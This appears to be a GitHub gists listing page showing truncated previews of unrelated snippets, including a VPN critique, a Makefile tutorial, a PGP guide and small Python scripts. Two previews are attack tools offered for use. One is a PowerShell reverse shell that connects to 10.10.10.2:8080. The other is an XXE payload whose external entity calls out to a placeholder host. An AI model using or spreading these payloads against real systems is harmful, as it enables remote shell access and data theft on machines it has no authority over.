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@staaldraad
staaldraad / minRev.ps1
Last active May 23, 2025 12:39
Simple reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('10.10.10.2', 8080);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("> ");
$writer.Flush();
$read = $null;
@kennwhite
kennwhite / vpn_psk_bingo.md
Last active June 6, 2025 20:44
Most VPN Services are Terrible

Most VPN Services are Terrible

Short version: I strongly do not recommend using any of these providers. You are, of course, free to use whatever you like. My TL;DR advice: Roll your own and use Algo or Streisand. For messaging & voice, use Signal. For increased anonymity, use Tor for desktop (though recognize that doing so may actually put you at greater risk), and Onion Browser for mobile.

This mini-rant came on the heels of an interesting twitter discussion: https://twitter.com/kennwhite/status/591074055018582016

@Integralist
Integralist / Makefile
Last active June 21, 2025 05:27 — forked from isaacs/Makefile
Example of a detailed Makefile
# Hello, and welcome to makefile basics.
#
# You will learn why `make` is so great, and why, despite its "weird" syntax,
# it is actually a highly expressive, efficient, and powerful way to build
# programs.
#
# Once you're done here, go to
# http://www.gnu.org/software/make/manual/make.html
# to learn SOOOO much more.

Git Cheat Sheet

Commands

Getting Started

git init

or

@staaldraad
staaldraad / XXE_payloads
Last active June 25, 2025 22:04
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@grugq
grugq / gist:03167bed45e774551155
Last active June 17, 2025 15:52
operational pgp - draft

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

@fmasanori
fmasanori / jogos.py
Last active October 30, 2022 00:00
World Cup in six lines of Python 3. Jogos da Copa do Mundo em cinco linhas de Python 3.
import requests
jogos = requests.get('http://worldcup.sfg.io/matches').json()
for jogo in jogos:
if jogo['status'] in ('completed', 'in progress'):
print (jogo['home_team']['country'], jogo['home_team']['goals'], 'x',
jogo['away_team']['country'], jogo['away_team']['goals'])
@jeffThompson
jeffThompson / Words In The Periodic Table: Results
Created December 4, 2013 15:15
A (partial but pretty extensive) list of words that can be made from the elements in the periodic table.
Ac
AcCePt
AcCePtS
AcCEsS
AcCEsSeS
AcCrUAl
AcCRuAl
AcCrUAlS
AcCRuAlS
AcCrUEs
@rossant
rossant / raytracing.py
Last active February 19, 2025 01:38
Very simple ray tracing engine in (almost) pure Python. Depends on NumPy and Matplotlib. Diffuse and specular lighting, simple shadows, reflections, no refraction. Purely sequential algorithm, slow execution.
"""
MIT License
Copyright (c) 2017 Cyrille Rossant
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
@alopes
alopes / stopwords.txt
Created April 10, 2013 20:32
Portuguese stop words
de
a
o
que
e
do
da
em
um
para